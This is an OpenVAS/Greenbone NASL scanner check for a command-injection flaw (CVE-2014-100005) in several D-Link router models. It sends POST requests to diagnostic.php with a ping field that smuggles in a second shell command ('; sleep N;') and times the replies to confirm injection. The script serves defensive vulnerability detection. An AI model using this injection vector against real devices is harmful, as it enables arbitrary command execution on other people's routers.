D-Link Devices Multiple Vulnerabilities (Apr 2013) - Active Check

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103691");
  script_version("2023-11-21T05:05:52+0000");
  script_tag(name:"last_modification", value:"2023-11-21 05:05:52 +0000 (Tue, 21 Nov 2023)");
  script_tag(name:"creation_date", value:"2013-04-09 12:07:13 +0200 (Tue, 09 Apr 2013)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2014-100005");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("D-Link Devices Multiple Vulnerabilities (Apr 2013) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_dlink_dsl_detect.nasl", "gb_dlink_dap_consolidation.nasl",
                      "gb_dlink_dir_consolidation.nasl", "gb_dlink_dwr_detect.nasl");
  script_mandatory_keys("d-link/http/detected"); # nb: Experiences in the past have shown that various different devices could be affected
  script_require_ports("Services/www", 80, 8080);

  script_tag(name:"summary", value:"D-Link devices are prone to multiple vulnerabilities.");

  script_tag(name:"impact", value:"Exploiting these issues could allow an attacker to gain access to
  potentially sensitive information and execute arbitrary commands in the context of the affected
  device.");

  script_tag(name:"affected", value:"DIR-600 / DIR-300 revB / DIR-815 / DIR-645 / DIR-412 / DIR-456 /
  DIR-110.

  Other devices and models might be affected as well.");

  script_tag(name:"solution", value:"The vendor has released updates. Please see the references for
  more information.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/58938");
  script_xref(name:"URL", value:"http://www.s3cur1ty.de/m1adv2013-017");

  exit(0);
}

CPE_PREFIX = "cpe:/o:dlink";

include("host_details.inc");
include("http_func.inc");

if(!infos = get_app_port_from_cpe_prefix(cpe:CPE_PREFIX, service:"www"))
  exit(0);

port = infos["port"];
CPE = infos["cpe"];

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

useragent = http_get_user_agent();
host = http_host_name(port:port);

count = 0;
url = dir + "/diagnostic.php";

foreach sleep (make_list(3, 5, 10)){

  ex = 'act=ping&dst=%3b%20sleep ' + sleep  + '%3b';
  len = strlen(ex);

  req = string("POST ", url, " HTTP/1.1\r\n",
               "Host: ", host, "\r\n",
               "User-Agent: ", useragent, "\r\n",
               "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n",
               "Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3\r\n",
               "Accept-Encoding: identity\r\n",
               "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n",
               "Referer: http://", host, "/\r\n",
               "Content-Length: ", len, "\r\n",
               "Cookie: uid=hfaiGzkB4z\r\n",
               "\r\n",
               ex);

  start = unixtime();
  result = http_send_recv(port:port, data:req);
  stop = unixtime();
  if(stop - start < sleep || stop - start > (sleep+5))
    continue;
  else
    count++;
}

if(count > 1) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
}

exit(0);